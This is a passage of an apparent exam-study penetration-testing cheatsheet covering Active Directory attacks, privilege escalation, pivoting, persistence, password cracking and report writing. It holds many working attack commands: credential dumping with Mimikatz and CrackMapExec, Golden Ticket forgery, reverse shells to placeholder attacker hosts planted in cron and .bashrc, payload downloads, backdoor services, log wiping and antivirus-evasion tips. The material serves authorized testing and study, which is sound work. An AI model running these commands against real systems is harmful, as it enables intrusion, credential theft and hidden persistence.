set SMBDomain MARVEL           <-- use short NetBIOS name, NOT MARVEL.local
show targets                   <-- if Automatic fails, try "Native upload" (target 2)
run
```

With hash instead of password:

```
set SMBUser administrator
unset SMBDomain                <-- local account, no domain
set SMBPass aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
run
```

After getting a shell: `background` to keep it. `sessions` to list. `sessions <id>` to return.
You can set `RHOSTS` to a range and sweep multiple machines for shells at once.

Metasploit psexec Gotchas

Use short domain name: `set SMBDomain MARVEL` not `MARVEL.local`. SMB auth expects the NetBIOS name.
Target selection: If "Automatic" picks PowerShell and you get `ACCESS_DENIED`, force `set TARGET 2` (Native upload).
AV will catch it: Metasploit payloads are flagged by Defender. In a lab, disable Defender. On the PNPT exam, try Impacket tools first—they get caught far less often.
If it suddenly stops working: Check if the target lost its domain profile (`Get-NetConnectionProfile` should show `DomainAuthenticated`).
Full troubleshooting: See Appendix E: Shell Access Troubleshooting.

Pass Attacks with CrackMapExec (CME)

CrackMapExec is your Swiss Army knife for pass attacks. Two modes:

Pass-the-Password (domain creds—hits DC too):
`crackmapexec smb 192.168.195.0/24 -u fcastle -d MARVEL -p Password1`
Sweeps the subnet. `[+]` = successful auth. `(Pwn3d!)` = you are local admin on that host. Auth without Pwn3d (e.g., on the DC) means valid domain creds but not local admin.

Pass-the-Hash (local admin hash—use `--local-auth`):
`crackmapexec smb 192.168.195.0/24 -u administrator -H aad3b435...:7facdc49... --local-auth`
Tests the local admin NTLM hash against every machine. Same local admin password = same hash = **one hash owns every machine**. This is password reuse at scale.

Key insight: Help desk/sysadmin teams commonly use the same local admin password across all machines. Compromise one → dump the SAM → pass that hash → own every machine on the network.

CrackMapExec Post-Pwn Flags

After getting `Pwn3d!`, use these flags to extract more from every owned host:

Flag	What It Does
`--sam`	Dump SAM hashes from every Pwn3d host. Adds results to cmedb automatically. **Do this first.**
`--lsa`	Dump LSA secrets: cached domain creds (DCC2 hashes), computer account keys, DPAPI keys. DCC2 creds can be cracked with `hashcat -m 2100`.
`--shares`	Enumerate shares on Pwn3d hosts. Look for non-default shares with sensitive files.
`--loggedon-users`	Show who is currently logged in. Active admin sessions = token impersonation targets.
`--sessions`	Show active SMB sessions on the host.
`--pass-pol`	Dump password policy. **Check this before spraying** to avoid lockouts.
`-M lsassy`	Module: dump LSASS memory for **active session credentials**. If someone is logged in right now, their cleartext password or NTLM hash may be in memory. Install lsassy separately if module not found.
`-M gpp_password`	Module: search for Group Policy Preference passwords (cPassword). Legacy but still found.
`-L`	List all available modules (zerologon, petitpotam, keepass_discover, wdigest, etc.).
`--continue-on-success`	Don't stop after first Pwn3d. Keep spraying. Essential for network-wide sweeps.
`--local-auth`	Authenticate as local account, not domain. Required for Pass-the-Hash with local admin.

Full sweep example (dump SAM from every owned host):

```
crackmapexec smb 192.168.195.0/24 -u administrator -H <hash> --local-auth --sam
```

The CrackMapExec Database — Don't Sleep On This

All CME results are stored in a database. Access it with `cmedb`:

- `hosts` — all discovered machines (hostname, domain, OS, SMBv1, signing status)
- `creds` — all captured credentials (plaintext + hashes) with which hosts they are admin on
- `export` — export results to a file for your report

On an engagement, this database becomes your single source of truth. After hours of sweeping, you can always come back to `cmedb` and see exactly which creds work where.

DCC2 Cached Creds from LSA — Worth Cracking

The `--lsa` flag dumps cached domain credentials in DCC2 format:

```
MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f...
```

These are from users who logged into that machine previously. Crack with `hashcat -m 2100` (slow—DCC2 is intentionally expensive).

Pro tip from Heath: If you crack a cached password and it contains a year or pattern like `Company2023!`, **try incrementing**: `Company2024!`, `Company2026!`. Users bump numbers when forced to change. Also try adding extra characters: three exclamation marks? Try four. Password policies that force frequent changes produce predictable patterns.

Token Impersonation

IF Admin token in memory → THEN impersonate it

Requires Meterpreter session. An admin was logged in (or recently logged in) to the compromised machine.

`load incognito` → `list_tokens -u` → look for `DOMAIN\Admin` in the list.

`impersonate_token "DOMAIN\\Admin"` → you are now that user.

`whoami` to confirm. You can now access resources as that admin.

DCSync (Domain Compromise)

IF Have DCSync rights or DA → THEN dump entire domain

`secretsdump.py <domain>/admin:pass@<DC-ip>` → NTDS.dit = every account hash in the domain.

This is the endgame. With the NTDS.dit dump, you have the hash for every user including `krbtgt` (for Golden Ticket persistence).

Phase D: Domain Admin / Domain Dominance

Golden Ticket: Need `krbtgt` hash (from DCSync/NTDS.dit) + domain SID.

```
ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain <domain> Administrator
export KRB5CCNAME=Administrator.ccache → psexec.py <domain>/Administrator@<DC> -k -no-pass
```

Grants persistent domain admin. Survives password resets (except krbtgt double-reset).

Silver Ticket: Need service account hash + SPN.

Forge TGS for specific service only. Stealthier than Golden Ticket (does not touch DC).

NTDS.dit dump: `secretsdump.py <domain>/admin:pass@<DC-ip>` → every account hash in the domain.

Skeleton Key: `misc::skeleton` in Mimikatz on DC → any account authenticates with "mimikatz" as password. Requires DA. Does not survive reboot.

Windows Privilege Escalation Decision Tree

First Commands After Landing on Windows

`whoami /all` → `systeminfo` → `net user` → `net localgroup Administrators` → `netstat -ano`
Then run: `winPEASany.exe` for automated enumeration.

IF SeImpersonatePrivilege enabled → THEN PrintSpoofer / JuicyPotato
`PrintSpoofer.exe -i -c cmd` → SYSTEM shell. Works on Win10/Server 2016+.
Older systems: `JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c <payload>" -t *`

IF SeDebugPrivilege enabled → THEN inject into SYSTEM process
Migrate into a SYSTEM process (e.g., winlogon.exe) via Meterpreter or manual injection.

IF Unquoted service path → THEN hijack with malicious exe
Find: `wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"`
If path has spaces and no quotes → place `malicious.exe` at the first space boundary.

IF Weak service permissions → THEN replace binary or reconfigure
`accesschk.exe /accepteula -uwcqv "Everyone" *` → find services writable by current user
`sc config <svc> binpath= "C:\temp\shell.exe"` → restart service

IF AlwaysInstallElevated = 1 → THEN MSI payload for SYSTEM
Check: `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
`msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi > shell.msi`
`msiexec /quiet /qn /i shell.msi`

IF Stored credentials found → THEN reuse them
`cmdkey /list` → `runas /savecred /user:admin cmd.exe`
PowerShell history: `type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
Registry: `reg query HKLM /f password /t REG_SZ /s`

IF Scheduled task runs writable script → THEN overwrite it
`schtasks /query /fo LIST /v` → find tasks running as SYSTEM with writable script paths.

IF Kernel exploit (last resort) → THEN Watson + exploit
`Watson.exe` → lists missing patches with CVE mapping
Or: `windows-exploit-suggester.py --database <db> --systeminfo sysinfo.txt`

Linux Privilege Escalation Decision Tree

First Commands After Landing on Linux

`id` → `uname -a` → `cat /etc/os-release` → `sudo -l` → `find / -perm -u=s -type f 2>/dev/null`
Then run: `./linpeas.sh` for automated enumeration.

IF sudo -l shows binaries → THEN check GTFOBins
`sudo -l` → e.g., `(ALL) NOPASSWD: /usr/bin/vim` →
GTFOBins: `sudo vim -c ':!/bin/bash'` → root shell.
Common: vim, less, find, nmap, python, perl, ruby, awk, env, ftp, zip.
`LD_PRELOAD`: if `env_keep+=LD_PRELOAD` in sudo config → compile malicious .so → `sudo LD_PRELOAD=./evil.so <any_allowed_cmd>`

IF SUID binary found → THEN exploit it
`find / -perm -u=s -type f 2>/dev/null` → check each against GTFOBins.
Custom SUID binary? → `strings <binary>`, `ltrace <binary>`, `strace <binary>` to understand behavior.
Calls another program without full path? → PATH hijack: `export PATH=/tmp:$PATH`

IF Capabilities set on binary → THEN abuse them
`getcap -r / 2>/dev/null` → e.g., `cap_setuid+ep` on python →
`python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'`

IF Cron job runs writable script → THEN inject payload
`cat /etc/crontab` → `ls -la /etc/cron.*` → find scripts run as root with write perms.
`echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' >> /path/to/cron_script.sh`
Wildcard injection: cron runs `tar czf backup.tar.gz *` → create files named `--checkpoint=1` and `--checkpoint-action=exec=shel

IF Docker/LXD group membership → THEN container escape
Docker: `docker run -v /:/mnt --rm -it alpine chroot /mnt sh` → root on host filesystem.
LXD: import alpine image → mount host / into container.

IF Writable /etc/passwd → THEN add root user
`openssl passwd -1 -salt hacker password123` →
`echo 'hacker:<hash>:0:0::/root:/bin/bash' >> /etc/passwd` → `su hacker`

IF Kernel exploit (last resort) → THEN find CVE
`uname -a` → search for kernel version exploits.
DirtyPipe (CVE-2022-0847): Linux 5.8+. DirtyCow (CVE-2016-5195): older kernels.
Warning: Kernel exploits can crash the system. Use only when other methods exhausted.

Lateral Movement Decision Tree

"I have credentials or hashes. How do I move to another machine?"

Method	Command	Noise	Needs	Notes
psexec.py	`psexec.py dom/user:pass@<ip>`	High	Admin	Creates service, writes to disk. Most detectable.
wmiexec.py	`wmiexec.py dom/user:pass@<ip>`	Medium	Admin	WMI-based. Semi-interactive shell. Less artifacts.
smbexec.py	`smbexec.py dom/user:pass@<ip>`	Medium	Admin	SMB-based. Does not drop binary on disk.
evil-winrm	`evil-winrm -i <ip> -u user -p pass`	Low	WinRM	PowerShell. Clean. Upload/download files. Best for stealth.
Pass-the-Hash	`psexec.py -hashes :<hash> dom/user@<ip>`	Varies	NTLM hash	Works with all impacket tools. No password needed.
RDP	`xfreerdp /u:user /p:pass /v:<ip>`	High	RDP open	Full GUI. Leaves logon events. Use for screenshots/evidence.
SSH	`ssh user@<ip>` or key-based	Low	SSH open	Linux targets. Check for key reuse across hosts.
CrackMapExec	`cme smb <subnet> -u user -H <hash>`	Medium	Admin	Spray across network. `--exec-method smbexec` for stealthier exec.

Pivoting Techniques

"I am on Machine A. I need to reach Machine B on an internal subnet I cannot access directly."

IF SSH available on pivot host → THEN use SSH tunneling or sshuttle
Local forward (access remote port via local): `ssh -L 8080:<target>:80 user@<pivot>`
Remote forward (expose your port to pivot's network): `ssh -R 8080:127.0.0.1:80 user@<pivot>`
Dynamic SOCKS proxy: `ssh -D 1080 user@<pivot>` → configure proxychains to use `socks5 127.0.0.1 1080`
Sshuttle (transparent VPN-like): `sshuttle -r user@<pivot> <internal_subnet>/24` → no proxychains needed, routes all traffic.

IF No SSH / need reverse tunnel → THEN use Chisel
On attacker: `chisel server --reverse -p 8888`
On pivot: `chisel client <attacker>:8888 R:socks`
→ SOCKS proxy on attacker port 1080. Use with proxychains.
Specific port: `chisel client <attacker>:8888 R:8080:<internal_target>:80`

IF Metasploit session exists → THEN autoroute
`use post/multi/manage/autoroute` → `set SESSION 1` → `run`
`use auxiliary/server/socks_proxy` → `set SRVPORT 1080` → `run`
Now use proxychains with Metasploit's SOCKS proxy.

IF Need full-featured tunnel → THEN Ligolo-ng
Modern alternative. Agent on pivot, proxy on attacker. Creates TUN interface—no proxychains needed. Works like a VPN.

Proxychains usage: After setting up SOCKS proxy:
`proxychains nmap -sT -Pn <internal_ip>` → scans through tunnel
`proxychains evil-winrm -i <internal_ip> -u user -p pass`
Config: `/etc/proxychains4.conf` → add `socks5 127.0.0.1 1080`

File Transfer Methods

To Windows Target

certutil: `certutil -urlcache -split -f http://<attacker>:<port>/file.exe file.exe`
PowerShell: `IWR -Uri http://<attacker>/file.exe -OutFile file.exe`
Or: `(New-Object Net.WebClient).DownloadFile('http://<attacker>/file','C:\temp\file')`
SMB share: Attacker: `impacket-smbserver share /tmp -smb2support`
Target: `copy \\<attacker>\share\file.exe C:\temp\`
Bitsadmin: `bitsadmin /transfer job http://<attacker>/file C:\temp\file`

To Linux Target

wget: `wget http://<attacker>:<port>/file -O /tmp/file`
curl: `curl http://<attacker>/file -o /tmp/file`
Netcat: Attacker: `nc -lvnp 4444 < file`. Target: `nc <attacker> 4444 > file`
SCP: `scp user@<attacker>:/path/file /tmp/file`
Base64: Attacker: `base64 file > b64.txt`. Target: `echo "<b64>" | base64 -d > file`

Hosting Files (Attacker Side)

Python: `python3 -m http.server 80`
PHP: `php -S 0.0.0.0:80`
Impacket SMB: `impacket-smbserver share /tmp -smb2support`

Persistence Mechanisms

PNPT Exam: Document Everything

On a real engagement and the PNPT exam, document every persistence mechanism you create so you can **remove it during cleanup**. Never leave persistence on a client system after the engagement.

Windows Persistence

Registry Run Key: `reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"`
Scheduled Task: `schtasks /create /sc ONLOGON /tn "Update" /tr "C:\temp\shell.exe" /ru SYSTEM`
Service: `sc create backdoor binpath= "C:\temp\shell.exe" start= auto`
Startup Folder: Copy payload to `C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\`
WMI Event: Event subscription that triggers on system event (boot, login). Stealthier than registry.

Linux Persistence

Cron: `(crontab -l; echo "*/5 * * * * /tmp/shell.sh") | crontab -`
SSH Key: `echo "<attacker_pub_key>" >> /root/.ssh/authorized_keys`
Bashrc: `echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1 &' >> /home/user/.bashrc`
SUID: `cp /bin/bash /tmp/.hidden; chmod u+s /tmp/.hidden` → `/tmp/.hidden -p` for root shell.
Systemd: Create a service unit file in `/etc/systemd/system/` that runs your payload on boot.

Credential Harvesting & Cracking

Mimikatz Quick Reference

Dump logon passwords: `privilege::debug` → `sekurlsa::logonpasswords`
Dump SAM: `lsadump::sam`
DCSync: `lsadump::dcsync /domain:<domain> /user:krbtgt`
Golden Ticket: `kerberos::golden /user:Administrator /domain:<domain> /sid:<SID> /krbtgt:<hash>`
Pass-the-Ticket: `kerberos::ptt <ticket.kirbi>`

Hashcat Modes

Always run on DT bare metal: `PS C:\Users\Maharshi\Downloads\hashcat-6.2.6> .\hashcat.exe -m <MODE> hashes.txt rockyou.txt --backend-ignore-cuda -O`

Mode	Hash Type	When You See It
0	MD5	Web app databases
100	SHA1	Legacy web apps
1000	NTLM	SAM dump, Mimikatz, secretsdump
1800	sha512crypt	Linux /etc/shadow
3200	bcrypt	Modern web apps
5600	NTLMv2	Responder capture, SMB relay
13100	Kerberos TGS (Kerberoast)	GetUserSPNs.py output
18200	Kerberos AS-REP	GetNPUsers.py output

Wordlists

Default: `/usr/share/wordlists/rockyou.txt` (14M passwords)
SecLists: `/usr/share/seclists/` (usernames, passwords, dirs, web shells)
Custom from website: `cewl <target-url> -d 3 -m 5 -w custom.txt` → crawls the target's website and extracts words employees see daily (product names, jargon, slogans). People use what they know.
Rules: `hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule`

Real-World Cracking Strategy — Beyond rockyou.txt

On a real engagement, `rockyou.txt` alone is not enough. Targeted cracking dramatically increases your hit rate:
1. Build a targeted wordlist. Think about *who* works at this company and *where* they are:
- **Company name:** Acme, acme, ACME, Acme2026, Acme!, acme123
- **City / location:** Pittsburgh, pittsburgh, Pgh, PGH
- **Local sports teams:** Steelers, steelers!, Pirates2025, Penguins#1 — sports fans are everywhere and they use team names as passwords
- **Industry terms:** For a hospital: "patient," "surgery," "nurse." For a bank: "banking," "finance," "capital"
- **Seasons + year:** Summer2026, Winter2025!, Fall2026, Spring25
- **Common patterns:** Welcome1, Password1, Changeme1, Company123!

Combine these into a `targeted.txt` file. Even 500–1000 well-chosen words beat 14 million generic ones.
2. Use CeWL to scrape the target's website automatically:
`cewl https://target-company.com -d 3 -m 5 -w company_words.txt`
This crawls 3 levels deep, extracts words of 5+ characters. Merge with your manual targeted list.
3. Apply rules to multiply your wordlist. Rules mangle each word into hundreds of variants (append numbers, capitalise, add symbols, leet speak):
OneRuleToRuleThemStill (best overall): 49,465 rules. Tested against real breaches. Get it from GitHub (`stealthsploit/OneRuleToRuleThemStill`).
`PS C:\Users\Maharshi\Downloads\hashcat-6.2.6>`
`.\hashcat.exe -m 5600 hashes.txt targeted.txt --backend-ignore-cuda -O -r OneRuleToRuleThemStill.rule`
best64.rule (fast, built-in): 64 rules. Good for a quick first pass.
`.\hashcat.exe -m 5600 hashes.txt rockyou.txt --backend-ignore-cuda -O -r rules\best64.rule`
dive.rule (thorough): 99,000+ rules. Slow but comprehensive. Use when you have time.
4. Cracking order (fastest to slowest):
1. `rockyou.txt` with no rules (quick wins — 30 seconds)
2. `rockyou.txt` + `best64.rule` (common mutations — 2–5 minutes)
3. `targeted.txt` + `OneRuleToRuleThemStill.rule` (company-specific — 5–15 minutes)
4. `rockyou.txt` + `OneRuleToRuleThemStill.rule` (full sweep — 30–60 minutes)
5. `rockyou.txt` + `dive.rule` (exhaustive — hours)

5. Generate keyboard-walk patterns: `kwprocessor` generates passwords like `qwerty123`, `1qaz2wsx`, `zxcvbnm` — common in corporate environments.

Clearing Tracks & Cleanup

Windows Cleanup

Event logs: `wevtutil cl System` → `wevtutil cl Security` → `wevtutil cl Application`
PowerShell history: Delete `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
Remove tools: Delete all uploaded executables (WinPEAS, Mimikatz, nc, shells).

Revert changes: Remove registry keys, scheduled tasks, services, firewall rules you created.
RDP: Clear recent connections from registry.

Linux Cleanup

Bash history: `history -c && history -w` or `unset HISTFILE` (set at session start)
Log files: `/var/log/auth.log`, `/var/log/syslog`, `wtmp`, `utmp` → remove your entries (do not wipe entire log)
Remove tools: Delete LinPEAS, scripts, shells from `/tmp/` and `/dev/shm/`
SSH: Remove your key from `authorized_keys`. Remove `known_hosts` entries.
Cron/persistence: Remove any persistence mechanisms you installed.

Network Cleanup

Close tunnels: Kill chisel, SSH tunnels, sshuttle processes.
Remove port forwards: Undo any iptables rules or socat redirects.
Stop Responder/mitm6: Kill all MITM tools.

Report Writing Quick Reference

Report Structure

1. **Executive Summary** (1 page): High-level risk assessment for non-technical audience. Business impact. Overall security posture rating.
2. **Scope & Methodology**: What was tested, testing dates, approach (black/grey/white box), tools used.
3. **Findings** (bulk of report): Each finding as its own section.
4. **Appendix**: Raw scan output, full screenshots, remediation resources.

Finding Template

Title: Clear, descriptive (e.g., "LLMNR Poisoning Allows Credential Capture on Internal Network")
Severity: Critical / High / Medium / Low / Informational (use CVSS if required)
Description: What the vulnerability is. One paragraph.
Impact: What an attacker can achieve. Business consequences.
Proof of Concept: Step-by-step reproduction with screenshots and commands.
Remediation: Specific, actionable fix. Not "improve security" but "disable LLMNR via Group Policy: Computer Config > Admin Templates > Network > DNS Client > Turn off multicast name resolution = Enabled."

PNPT Debrief (15 minutes)

Structure: (1) Introduction and scope (1 min), (2) High-level findings summary (2 min), (3) Walk through the attack chain from initial access to domain admin (8 min), (4) Top 3 remediation priorities (3 min), (5) Questions (1 min). Practice this with a timer.

Tool Master Reference

Tool	Phase	OS	Key Command / Purpose
Nmap	Scanning	Both	`nmap -sC -sV -oN scan.nmap <ip>`
Gobuster	Enumeration	Web	`gobuster dir -u <url> -w <wordlist> -x php,html`
ffuf	Enumeration	Web	`ffuf -u <url>/FUZZ -w <wordlist>`
enum4linux	Enumeration	SMB	`enum4linux -a <ip>`
Responder	Initial Access	AD	`responder -I eth0 -dwPv`
ntlmrelayx	Initial Access	AD	`ntlmrelayx.py -tf targets.txt -smb2support`
mitm6	Initial Access	AD	`mitm6 -d <domain>`
CrackMapExec	Multi-phase	AD	`cme smb <ip> -u user -p pass --shares`
BloodHound	Enum	AD	`bloodhound-python -u user -p pass -d <domain> -c all`
Mimikatz	Post-Exploit	Win	`sekurlsa::logonpasswords`
Impacket	Multi-phase	Both	psexec, wmiexec, smbexec, secretsdump, GetUserSPNs, etc.
Evil-WinRM	Lateral Move	Win	`evil-winrm -i <ip> -u user -p pass`
Metasploit	Exploitation	Both	`msfconsole`. Modules for exploit, payload, post.
Burp Suite	Web Testing	Web	Proxy, Repeater, Intruder, Scanner (Pro).

Tool	Phase	OS	Key Command / Purpose
sqlmap	Web Testing	Web	`sqlmap -u "<url>?id=1" --dbs --batch`
Hashcat	Cracking	Both	`hashcat -m <mode> hash.txt wordlist.txt`
John	Cracking	Both	`john --wordlist=rockyou.txt hash.txt`
Hydra	Brute Force	Both	`hydra -l user -P pass.txt <ip> ssh`
WinPEAS	PrivEsc	Win	`winPEASany.exe`
LinPEAS	PrivEsc	Linux	`./linpeas.sh`
Chisel	Pivoting	Both	Server: `chisel server --reverse -p 8888`
Sshuttle	Pivoting	Linux	`sshuttle -r user@<pivot> <subnet>/24`
Slither	Smart Contract	Web3	`slither .`
Aderyn	Smart Contract	Web3	`aderyn .`
Foundry	Smart Contract	Web3	`forge test -vvvv`

Appendix E: Shell Access Troubleshooting Flowchart

psexec/wmiexec/smbexec failing? Walk through these 5 checks in order. Stop at the first failure.

Step 1: Is port 445 reachable?

Check: `nmap -p445 <target-ip>`
Good: `445/tcp open microsoft-ds`
Bad: `445/tcp filtered` or `Rex::ConnectionTimeout` in Metasploit
Fix: Target firewall is blocking SMB. Check if target is on the correct network profile. On domain-joined machines: if the DC is down, Windows may switch to "Public" profile and block SMB. Bring DC up, wait for the host to re-authenticate to the domain. Verify with `Get-NetConnectionProfile` on target (should show `DomainAuthenticated`).

Step 2: Can you authenticate and access admin shares?

Check: `smbclient -L //<target> -U 'DOMAIN\user'` (list shares)
`smbclient //<target>/ADMIN$ -U 'DOMAIN\user'` (access admin share)
`crackmapexec smb <target> -u user -p pass -d DOMAIN` (look for `Pwn3d!`)
Good: Shares listed. `ADMIN$` opens. CrackMapExec shows `Pwn3d!`.
Bad: `ACCESS_DENIED` on `ADMIN$`. CrackMapExec shows no `Pwn3d!`.
Fix: Wrong credentials, wrong domain name, or user is not local admin on that machine. Try the short NetBIOS domain name (`MARVEL`) instead of FQDN (`MARVEL.local`). Verify the user is in the local Administrators group on the target.

Step 3: Is the execution path working?

Applies to: Metasploit psexec only (Impacket tools handle this automatically).
Symptom: Metasploit says `Selecting PowerShell target` then `Service failed to start - ACCESS_DENIED`.
Fix: Force the target to Native upload: `set TARGET 2` in Metasploit. The PowerShell execution path is often blocked even when SMB auth works fine.

Step 4: Is AV/Defender blocking the payload?

Symptom: Upload succeeds, service creation succeeds, but service fails to start with `ERROR_CODE: 225` or `STATUS_VIRUS_INFECTED`.
Check on target: `Get-MpThreatDetection` (shows what Defender caught)
Fix (lab only): Disable real-time protection, cloud-delivered protection, automatic sample submission, and tamper protection in Windows Security settings.
Fix (exam/real): Switch to Impacket `psexec.py` or `smbexec.py`—they get caught far less often than Metasploit payloads. If Impacket also gets caught, try `wmiexec.py` (does not write to disk).

Step 5: Quick verification before giving up

Verify SMB service: On target: `Get-Service LanmanServer` (should be Running)
Verify port: On target: `netstat -ano | findstr :445` (should show `LISTENING`)
Verify network: On target: `Get-NetConnectionProfile` (should show `DomainAuthenticated`)
Try all three tools: psexec.py → wmiexec.py → smbexec.py → evil-winrm (port 5985)
Nuclear option: If everything fails, check if the target has `LocalAccountTokenFilterPolicy` set. Without it, non-RID-500 local admin accounts cannot authenticate remotely.
Check: `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy`
Fix: `reg add ... /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f`

Troubleshooting Cheat

If smbclient + CrackMapExec work but Metasploit does not: the problem is Metasploit-specific (target selection, AV, payload). Switch to Impacket.
If nothing connects at all: the problem is network/firewall. Check target profile and DC status.
If auth works but no shell: the problem is AV or execution method. Try wmiexec (no file on disk).

This cheatsheet is a living document. Update it as you learn new techniques. Accurate as of March 2026.
Keep it beside your keyboard during the PNPT exam, PT1 exam, and every engagement after that.